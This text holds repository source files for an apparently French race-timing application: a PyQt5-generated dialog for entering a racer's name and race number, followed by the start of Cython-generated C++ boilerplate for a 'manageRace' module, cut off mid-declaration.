'defGui/Set_RacerTp.ui' # # Created by: PyQt5 UI code generator 5.7 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_Set_RacerTp(object): def setupUi(self, Set_RacerTp): Set_RacerTp.setObjectName("Set_RacerTp") Set_RacerTp.resize(419, 114) Set_RacerTp.setToolTip("") Set_RacerTp.setAccessibleName("") Set_RacerTp.setAccessibleDescription("") Set_RacerTp.setModal(True) self.R_firstname = QtWidgets.QLineEdit(Set_RacerTp) self.R_firstname.setEnabled(True) self.R_firstname.setGeometry(QtCore.QRect(110, 32, 200, 23)) self.R_firstname.setMinimumSize(QtCore.QSize(200, 0)) font = QtGui.QFont() font.setKerning(False) self.R_firstname.setFont(font) self.R_firstname.setMouseTracking(False) self.R_firstname.setAcceptDrops(False) self.R_firstname.setToolTip("") self.R_firstname.setAccessibleName("") self.R_firstname.setAccessibleDescription("") self.R_firstname.setInputMask("") self.R_firstname.setText("") self.R_firstname.setFrame(False) self.R_firstname.setReadOnly(True) self.R_firstname.setPlaceholderText("") self.R_firstname.setObjectName("R_firstname") self.label_8 = QtWidgets.QLabel(Set_RacerTp) self.label_8.setGeometry(QtCore.QRect(5, 70, 99, 23)) self.label_8.setObjectName("label_8") self.label_6 = QtWidgets.QLabel(Set_RacerTp) self.label_6.setGeometry(QtCore.QRect(5, 32, 50, 23)) self.label_6.setObjectName("label_6") self.label = QtWidgets.QLabel(Set_RacerTp) self.label.setGeometry(QtCore.QRect(5, 7, 31, 23)) self.label.setObjectName("label") self.R_lastname = QtWidgets.QLineEdit(Set_RacerTp) self.R_lastname.setGeometry(QtCore.QRect(110, 7, 201, 23)) self.R_lastname.setMinimumSize(QtCore.QSize(200, 0)) self.R_lastname.setMouseTracking(False) self.R_lastname.setAcceptDrops(False) self.R_lastname.setToolTip("") self.R_lastname.setAccessibleName("") self.R_lastname.setAccessibleDescription("") self.R_lastname.setInputMask("") self.R_lastname.setText("") self.R_lastname.setFrame(False) self.R_lastname.setReadOnly(True) self.R_lastname.setPlaceholderText("") self.R_lastname.setObjectName("R_lastname") self.R_number = QtWidgets.QLineEdit(Set_RacerTp) self.R_number.setGeometry(QtCore.QRect(110, 70, 125, 23)) self.R_number.setToolTip("") self.R_number.setStatusTip("") self.R_number.setAccessibleName("") self.R_number.setAccessibleDescription("") self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) self.R_number.setText("") self.R_number.setMaxLength(5) self.R_number.setObjectName("R_number") self.verticalLayoutWidget = QtWidgets.QWidget(Set_RacerTp) self.verticalLayoutWidget.setGeometry(QtCore.QRect(320, 10, 91, 80)) self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName("verticalLayout") self.OkBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) self.OkBtn.setEnabled(False) self.OkBtn.setFocusPolicy(QtCore.Qt.NoFocus) self.OkBtn.setContextMenuPolicy(QtCore.Qt.NoContextMenu) self.OkBtn.setToolTip("") self.OkBtn.setStatusTip("") self.OkBtn.setAccessibleName("") self.OkBtn.setAccessibleDescription("") self.OkBtn.setShortcut("") self.OkBtn.setAutoDefault(False) self.OkBtn.setObjectName("OkBtn") self.verticalLayout.addWidget(self.OkBtn) self.CancelBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) self.CancelBtn.setToolTip("") self.CancelBtn.setStatusTip("") self.CancelBtn.setAccessibleName("") self.CancelBtn.setAccessibleDescription("") self.CancelBtn.setShortcut("") self.CancelBtn.setAutoDefault(False) self.CancelBtn.setObjectName("CancelBtn") self.verticalLayout.addWidget(self.CancelBtn) self.retranslateUi(Set_RacerTp) self.OkBtn.clicked.connect(Set_RacerTp.accept) self.CancelBtn.clicked.connect(Set_RacerTp.reject) QtCore.QMetaObject.connectSlotsByName(Set_RacerTp) def retranslateUi(self, Set_RacerTp): _translate = QtCore.QCoreApplication.translate Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) self.label_8.setText(_translate("Set_RacerTp", "Numéro course")) self.label_6.setText(_translate("Set_RacerTp", "Prénom")) self.label.setText(_translate("Set_RacerTp", "Nom")) self.OkBtn.setText(_translate("Set_RacerTp", "Valider")) self.CancelBtn.setText(_translate("Set_RacerTp", "Annuler")) <file_sep>/cython/manageRace.cc /* Generated by Cython 0.25.2 */ #define PY_SSIZE_T_CLEAN #include "Python.h" #ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python. #elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000) #error Cython requires Python 2.6+ or Python 3.2+. #else #define CYTHON_ABI "0_25_2" #include <stddef.h> #ifndef offsetof #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) #endif #if !defined(WIN32) && !defined(MS_WINDOWS) #ifndef __stdcall #define __stdcall #endif #ifndef __cdecl #define __cdecl #endif #ifndef __fastcall #define __fastcall #endif #endif #ifndef DL_IMPORT #define DL_IMPORT(t) t #endif #ifndef DL_EXPORT #define DL_EXPORT(t) t #endif #ifndef HAVE_LONG_LONG #if PY_VERSION_HEX >= 0x03030000 || (PY_MAJOR_VERSION == 2 && PY_VERSION_HEX >= 0x02070000) #define HAVE_LONG_LONG #endif #endif #ifndef PY_LONG_LONG #define PY_LONG_LONG LONG_LONG #endif #ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL #endif #ifdef PYPY_VERSION #define CYTHON_COMPILING_IN_PYPY 1 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 0 #undef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #undef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #undef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 1 #undef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 0 #undef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 0 #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #elif defined(PYSTON_VERSION) #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 1 #define CYTHON_COMPILING_IN_CPYTHON 0 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #else #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 1 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #if PY_MAJOR_VERSION < 3 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #elif !defined(CYTHON_USE_PYLONG_INTERNALS) #define CYTHON_USE_PYLONG_INTERNALS 1 #endif #ifndef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 1 #endif #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #if PY_VERSION_HEX < 0x030300F0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #elif !defined(CYTHON_USE_UNICODE_WRITER) #define CYTHON_USE_UNICODE_WRITER 1 #endif #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #ifndef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 1 #endif #ifndef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 1 #endif #endif #if !defined(CYTHON_FAST_PYCCALL) #define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) #endif #if CYTHON_USE_PYLONG_INTERNALS #include "longintrepr.h" #undef SHIFT #undef BASE #undef MASK #endif #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) #define Py_OptimizeFlag 0 #endif #define __PYX_BUILD_PY_SSIZE_T "n" #define CYTHON_FORMAT_SSIZE_T "z" #if PY_MAJOR_VERSION < 3 #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyClass_Type #else #define __Pyx_BUILTIN_MODULE_NAME "builtins" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyType_Type #endif #ifndef Py_TPFLAGS_CHECKTYPES #define Py_TPFLAGS_CHECKTYPES 0 #endif #ifndef Py_TPFLAGS_HAVE_INDEX #define Py_TPFLAGS_HAVE_INDEX 0 #endif #ifndef Py_TPFLAGS_HAVE_NEWBUFFER #define Py_TPFLAGS_HAVE_NEWBUFFER 0 #endif #ifndef Py_TPFLAGS_HAVE_FINALIZE #define Py_TPFLAGS_HAVE_FINALIZE 0 #endif #ifndef METH_FASTCALL #define METH_FASTCALL 0x80 typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs, PyObject *kwnames); #else #define __Pyx_PyCFunctionFast _PyCFunctionFast #endif #if CYTHON_FAST_PYCCALL #define __Pyx_PyFastCFunction_Check(func)\ ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))))) #else #define __Pyx_PyFastCFunction_Check(func) 0 #endif #if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) #define CYTHON_PEP393_ENABLED 1 #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ 0 : _PyUnicode_Ready((PyObject *)(op))) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) #else #define CYTHON_PEP393_ENABLED 0 #define PyUnicode_1BYTE_KIND 1 #define PyUnicode_2BYTE_KIND 2 #define PyUnicode_4BYTE_KIND 4 #define __Pyx_PyUnicode_READY(op) (0) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111) #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) #endif #if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) #else #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) #define PyObject_Malloc(s) PyMem_Malloc(s) #define PyObject_Free(p) PyMem_Free(p) #define PyObject_Realloc(p) PyMem_Realloc(p) #endif #if CYTHON_COMPILING_IN_PYSTON #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno) #else #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) #endif #define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) #define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) #else #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) #endif #if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) #define PyObject_ASCII(o) PyObject_Repr(o) #endif #if PY_MAJOR_VERSION >= 3 #define PyBaseString_Type PyUnicode_Type #define PyStringObject PyUnicodeObject #define PyString_Type PyUnicode_Type #define PyString_Check PyUnicode_Check #define PyString_CheckExact PyUnicode_CheckExact #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) #else #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) #endif #ifndef PySet_CheckExact #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) #endif #define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) #define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) #if PY_MAJOR_VERSION >= 3 #define PyIntObject PyLongObject #define PyInt_Type PyLong_Type #define PyInt_Check(op) PyLong_Check(op) #define PyInt_CheckExact(op) PyLong_CheckExact(op) #define PyInt_FromString PyLong_FromString #define PyInt_FromUnicode PyLong_FromUnicode #define PyInt_FromLong PyLong_FromLong #define PyInt_FromSize_t PyLong_FromSize_t #define PyInt_FromSsize_t PyLong_FromSsize_t #define PyInt_AsLong PyLong_AsLong #define PyInt_AS_LONG PyLong_AS_LONG #define PyInt_AsSsize_t PyLong_AsSsize_t #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask #define PyNumber_Int PyNumber_Long #endif #if PY_MAJOR_VERSION >= 3 #define PyBoolObject PyLongObject #endif #if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY #ifndef PyUnicode_InternFromString #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) #endif #endif #if PY_VERSION_HEX < 0x030200A4 typedef long Py_hash_t; #define __Pyx_PyInt_FromHash_t PyInt_FromLong #define __Pyx_PyInt_AsHash_t PyInt_AsLong #else #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func)) #else #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass) #endif #if CYTHON_USE_ASYNC_SLOTS #if PY_VERSION_HEX >= 0x030500B1 #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) #else typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } __Pyx_PyAsyncMethodsStruct; #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) #endif #else #define __Pyx_PyType_AsAsync(obj) NULL #endif #ifndef CYTHON_RESTRICT #if defined(__GNUC__) #define CYTHON_RESTRICT __restrict__ #elif defined(_MSC_VER) && _MSC_VER >= 1400 #define CYTHON_RESTRICT __restrict #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_RESTRICT restrict #else #define CYTHON_RESTRICT #endif #endif #ifndef CYTHON_UNUSED # if defined(__GNUC__) # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif # elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif #endif #ifndef CYTHON_MAYBE_UNUSED_VAR # if defined(__cplusplus) template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { } # else # define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x) # endif #endif #ifndef CYTHON_NCP_UNUSED # if CYTHON_COMPILING_IN_CPYTHON # define CYTHON_NCP_UNUSED # else # define CYTHON_NCP_UNUSED CYTHON_UNUSED # endif #endif #define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) #ifndef __cplusplus #error "Cython files generated with the C++ option must be compiled with a C++ compiler." #endif #ifndef CYTHON_INLINE #if defined(__clang__) #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) #else #define CYTHON_INLINE inline #endif #endif template<typename T> void __Pyx_call_destructor(T& x) { x.~T(); } template<typename T> class __Pyx_FakeReference { public: __Pyx_FakeReference() : ptr(NULL) { } __Pyx_FakeReference(const T& ref) : ptr(const_cast<T*>(&ref)) { } T *operator->() { return ptr; } T *operator&() { return ptr; } operator T&() { return *ptr; } template<typename U> bool operator ==(U other) { return *ptr == other; } template<typename U> bool operator !=(U other) { return *ptr != other; } private: T *ptr; }; #if defined(WIN32) || defined(MS_WINDOWS) #define _USE_MATH_DEFINES #endif #include <math.h> #ifdef NAN #define __PYX_NAN() ((float) NAN) #else static CYTHON_INLINE float __PYX_NAN() { float value; memset(&value, 0xFF, sizeof(value)); return value; } #endif #if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) #define __Pyx_truncl trunc #else #define __Pyx_truncl truncl #endif #define __PYX_ERR(f_index, lineno, Ln_error) \ { \ __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \ } #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #else #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #endif #ifndef __PYX_EXTERN_C #ifdef __cplusplus #define __PYX_EXTERN_C extern "C" #else #define __PYX_EXTERN_C extern #endif #endif #define __PYX_HAVE__Chrono__manageRace #define __PYX_HAVE_API__Chrono__manageRace #ifdef _OPENMP #include <omp.h> #endif /* _OPENMP */ #ifdef PYREX_WITHOUT_ASSERTIONS #define CYTHON_WITHOUT_ASSERTIONS #endif typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; #define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 #define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0 #define __PYX_DEFAULT_STRING_ENCODING "" #define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString #define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #define __Pyx_uchar_cast(c) ((unsigned char)c) #define __Pyx_long_cast(x) ((long)x) #define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ (sizeof(type) < sizeof(Py_ssize_t)) ||\ (sizeof(type) > sizeof(Py_ssize_t) &&\ likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX) &&\ (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ v == (type)PY_SSIZE_T_MIN))) ||\ (sizeof(type) == sizeof(Py_ssize_t) &&\ (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX))) ) #if defined (__cplusplus) && __cplusplus >= 201103L #include <cstdlib> #define __Pyx_sst_abs(value) std::abs(value) #elif SIZEOF_INT >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) abs(value) #elif SIZEOF_LONG >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) labs(value) #elif defined (_MSC_VER) && defined (_M_X64) #define __Pyx_sst_abs(value) _abs64(value) #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define __Pyx_sst_abs(value) llabs(value) #elif defined (__GNUC__) #define __Pyx_sst_abs(value) __builtin_llabs(value) #else #define __Pyx_sst_abs(value) ((value<0) ? -value : value) #endif static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject*); static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); #define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s)) #define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) #define __Pyx_PyBytes_FromString PyBytes_FromString #define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); #if PY_MAJOR_VERSION < 3 #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #else #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize #endif #define __Pyx_PyObject_AsSString(s) ((signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) #define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) #define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) #define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) #define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) #if PY_MAJOR_VERSION < 3 static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) { const Py_UNICODE *u_end = u; while (*u_end++) ; return (size_t)(u_end - u - 1); } #else #define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen #endif #define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u)) #define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode #define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode #define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) #define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) #define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False)) static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); #if CYTHON_ASSUME_SAFE_MACROS #define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) #else #define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) #endif #define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) #else #define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) #endif #define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x)) #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII static int __Pyx_sys_getdefaultencoding_not_ascii; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; PyObject* ascii_chars_u = NULL; PyObject* ascii_chars_b = NULL; const char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; if (strcmp(default_encoding_c, "ascii") == 0) { __Pyx_sys_getdefaultencoding_not_ascii = 0; } else { char ascii_chars[128]; int c; for (c = 0; c < 128; c++) { ascii_chars[c] = c; } __Pyx_sys_getdefaultencoding_not_ascii = 1; ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); if (!ascii_chars_u) goto bad; ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { PyErr_Format( PyExc_ValueError, "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", default_encoding_c); goto bad; } Py_DECREF(ascii_chars_u); Py_DECREF(ascii_chars_b); } Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); Py_XDECREF(ascii_chars_u); Py_XDECREF(ascii_chars_b); return -1; } #endif #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) #else #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT static char* __PYX_DEFAULT_STRING_ENCODING; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; char* 